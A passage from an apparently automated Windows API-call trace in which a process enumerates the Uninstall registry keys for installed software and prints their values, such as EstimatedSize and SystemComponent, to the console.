_Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.997] _fileno (_File=0x7fefd702ab0) returned 1 [0148.997] _errno () returned 0x204bb0 [0148.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.997] _errno () returned 0x204bb0 [0148.997] GetFileType (hFile=0x50) returned 0x1 [0148.997] lstrlenW (lpString=" ") returned 4 [0148.997] GetConsoleOutputCP () returned 0x1b5 [0148.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.997] GetConsoleOutputCP () returned 0x1b5 [0148.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.997] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.997] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.997] lstrlenW (lpString="EstimatedSize") returned 13 [0148.997] __iob_func () returned 0x7fefd702a80 [0148.997] _fileno (_File=0x7fefd702ab0) returned 1 [0148.997] _errno () returned 0x204bb0 [0148.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.997] _errno () returned 0x204bb0 [0148.997] GetFileType (hFile=0x50) returned 0x1 [0148.997] lstrlenW (lpString="EstimatedSize") returned 13 [0148.997] GetConsoleOutputCP () returned 0x1b5 [0148.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.997] GetConsoleOutputCP () returned 0x1b5 [0148.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.998] __iob_func () returned 0x7fefd702a80 [0148.998] _fileno (_File=0x7fefd702ab0) returned 1 [0148.998] _errno () returned 0x204bb0 [0148.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.998] _errno () returned 0x204bb0 [0148.998] GetFileType (hFile=0x50) returned 0x1 [0148.998] lstrlenW (lpString=" ") returned 4 [0148.998] GetConsoleOutputCP () returned 0x1b5 [0148.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.998] GetConsoleOutputCP () returned 0x1b5 [0148.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.998] __iob_func () returned 0x7fefd702a80 [0148.998] _fileno (_File=0x7fefd702ab0) returned 1 [0148.998] _errno () returned 0x204bb0 [0148.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.998] _errno () returned 0x204bb0 [0148.998] GetFileType (hFile=0x50) returned 0x1 [0148.998] lstrlenW (lpString="REG_DWORD") returned 9 [0148.998] GetConsoleOutputCP () returned 0x1b5 [0148.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.999] GetConsoleOutputCP () returned 0x1b5 [0148.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.999] __iob_func () returned 0x7fefd702a80 [0148.999] _fileno (_File=0x7fefd702ab0) returned 1 [0148.999] _errno () returned 0x204bb0 [0148.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.999] _errno () returned 0x204bb0 [0148.999] GetFileType (hFile=0x50) returned 0x1 [0148.999] lstrlenW (lpString=" ") returned 4 [0148.999] GetConsoleOutputCP () returned 0x1b5 [0148.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.999] GetConsoleOutputCP () returned 0x1b5 [0148.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.999] __iob_func () returned 0x7fefd702a80 [0148.999] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.999] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1800") returned 6 [0149.000] _fileno (_File=0x7fefd702ab0) returned 1 [0149.000] _errno () returned 0x204bb0 [0149.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.000] _errno () returned 0x204bb0 [0149.000] GetFileType (hFile=0x50) returned 0x1 [0149.000] lstrlenW (lpString="0x1800") returned 6 [0149.000] GetConsoleOutputCP () returned 0x1b5 [0149.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1800", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.000] GetConsoleOutputCP () returned 0x1b5 [0149.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1800", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1800", lpUsedDefaultChar=0x0) returned 6 [0149.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.000] __iob_func () returned 0x7fefd702a80 [0149.000] _fileno (_File=0x7fefd702ab0) returned 1 [0149.000] _errno () returned 0x204bb0 [0149.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.000] _errno () returned 0x204bb0 [0149.000] GetFileType (hFile=0x50) returned 0x1 [0149.000] lstrlenW (lpString="\n") returned 1 [0149.000] GetConsoleOutputCP () returned 0x1b5 [0149.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.000] GetConsoleOutputCP () returned 0x1b5 [0149.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.001] GetProcessHeap () returned 0x3c0000 [0149.001] GetProcessHeap () returned 0x3c0000 [0149.001] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.001] GetProcessHeap () returned 0x3c0000 [0149.001] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0149.001] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.001] __iob_func () returned 0x7fefd702a80 [0149.001] _fileno (_File=0x7fefd702ab0) returned 1 [0149.001] _errno () returned 0x204bb0 [0149.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.001] _errno () returned 0x204bb0 [0149.001] GetFileType (hFile=0x50) returned 0x1 [0149.001] lstrlenW (lpString="\n") returned 1 [0149.001] GetConsoleOutputCP () returned 0x1b5 [0149.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.001] GetConsoleOutputCP () returned 0x1b5 [0149.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.001] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.001] GetProcessHeap () returned 0x3c0000 [0149.001] GetProcessHeap () returned 0x3c0000 [0149.001] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0149.001] GetProcessHeap () returned 0x3c0000 [0149.001] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x24 [0149.001] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0149.001] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0149.002] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin") returned 108 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xdc) returned 0x3dce90 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0149.002] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.002] GetProcessHeap () returned 0x3c0000 [0149.002] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xdc [0149.002] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0149.002] RegCloseKey (hKey=0x5c) returned 0x0 [0149.002] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.002] __iob_func () returned 0x7fefd702a80 [0149.002] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.002] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n") returned 102 [0149.002] _fileno (_File=0x7fefd702ab0) returned 1 [0149.002] _errno () returned 0x204bb0 [0149.002] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.002] _errno () returned 0x204bb0 [0149.002] GetFileType (hFile=0x50) returned 0x1 [0149.002] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n") returned 102 [0149.002] GetConsoleOutputCP () returned 0x1b5 [0149.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n", cchWideChar=102, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 102 [0149.003] GetConsoleOutputCP () returned 0x1b5 [0149.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n", cchWideChar=102, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager\n", lpUsedDefaultChar=0x0) returned 102 [0149.003] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 102 [0149.003] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.003] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.003] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.003] GetProcessHeap () returned 0x3c0000 [0149.003] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c00 [0149.003] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.003] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.003] GetProcessHeap () returned 0x3c0000 [0149.003] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3db830 [0149.003] GetProcessHeap () returned 0x3c0000 [0149.003] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.003] GetProcessHeap () returned 0x3c0000 [0149.004] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0149.004] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3db830*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.004] __iob_func () returned 0x7fefd702a80 [0149.004] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.004] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.004] _fileno (_File=0x7fefd702ab0) returned 1 [0149.004] _errno () returned 0x204bb0 [0149.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.004] _errno () returned 0x204bb0 [0149.004] GetFileType (hFile=0x50) returned 0x1 [0149.004] lstrlenW (lpString=" ") returned 4 [0149.004] GetConsoleOutputCP () returned 0x1b5 [0149.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.004] GetConsoleOutputCP () returned 0x1b5 [0149.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.004] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.004] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.004] lstrlenW (lpString="SystemComponent") returned 15 [0149.004] __iob_func () returned 0x7fefd702a80 [0149.004] _fileno (_File=0x7fefd702ab0) returned 1 [0149.004] _errno () returned 0x204bb0 [0149.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.004] _errno () returned 0x204bb0 [0149.004] GetFileType (hFile=0x50) returned 0x1 [0149.004] lstrlenW (lpString="SystemComponent") returned 15 [0149.004] GetConsoleOutputCP () returned 0x1b5 [0149.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.005] GetConsoleOutputCP () returned 0x1b5 [0149.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0149.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.005] __iob_func () returned 0x7fefd702a80 [0149.005] _fileno (_File=0x7fefd702ab0) returned 1 [0149.005] _errno () returned 0x204bb0 [0149.005] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.005] _errno () returned 0x204bb0 [0149.005] GetFileType (hFile=0x50) returned 0x1 [0149.005] lstrlenW (lpString=" ") returned 4 [0149.005] GetConsoleOutputCP () returned 0x1b5 [0149.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.005] GetConsoleOutputCP () returned 0x1b5 [0149.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.006] __iob_func () returned 0x7fefd702a80 [0149.006] _fileno (_File=0x7fefd702ab0) returned 1 [0149.006] _errno () returned 0x204bb0 [0149.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.006] _errno () returned 0x204bb0 [0149.006] GetFileType (hFile=0x50) returned 0x1 [0149.006] lstrlenW (lpString="REG_DWORD") returned 9 [0149.006] GetConsoleOutputCP () returned 0x1b5 [0149.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.006] GetConsoleOutputCP () returned 0x1b5 [0149.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.006] __iob_func () returned 0x7fefd702a80 [0149.006] _fileno (_File=0x7fefd702ab0) returned 1 [0149.006] _errno () returned 0x204bb0 [0149.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.006] _errno () returned 0x204bb0 [0149.006] GetFileType (hFile=0x50) returned 0x1 [0149.006] lstrlenW (lpString=" ") returned 4 [0149.006] GetConsoleOutputCP () returned 0x1b5 [0149.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.006] GetConsoleOutputCP () returned 0x1b5 [0149.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.007] __iob_func () returned 0x7fefd702a80 [0149.007] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.007] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.007] _fileno (_File=0x7fefd702ab0) returned 1 [0149.007] _errno () returned 0x204bb0 [0149.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.007] _errno () returned 0x204bb0 [0149.007] GetFileType (hFile=0x50) returned 0x1 [0149.007] lstrlenW (lpString="0x1") returned 3 [0149.007] GetConsoleOutputCP () returned 0x1b5 [0149.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.007] GetConsoleOutputCP () returned 0x1b5 [0149.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.007] __iob_func () returned 0x7fefd702a80 [0149.007] _fileno (_File=0x7fefd702ab0) returned 1 [0149.007] _errno () returned 0x204bb0 [0149.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.007] _errno () returned 0x204bb0 [0149.007] GetFileType (hFile=0x50) returned 0x1 [0149.007] lstrlenW (lpString="\n") returned 1 [0149.007] GetConsoleOutputCP () returned 0x1b5 [0149.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.008] GetConsoleOutputCP () returned 0x1b5 [0149.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.008] GetProcessHeap () returned 0x3c0000 [0149.008] GetProcessHeap () returned 0x3c0000 [0149.008] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.008] GetProcessHeap () returned 0x3c0000 [0149.008] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0149.008] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.008] __iob_func () returned 0x7fefd702a80 [0149.008] _fileno (_File=0x7fefd702ab0) returned 1 [0149.008] _errno () returned 0x204bb0 [0149.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.008] _errno () returned 0x204bb0 [0149.008] GetFileType (hFile=0x50) returned 0x1 [0149.008] lstrlenW (lpString="\n") returned 1 [0149.008] GetConsoleOutputCP () returned 0x1b5 [0149.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 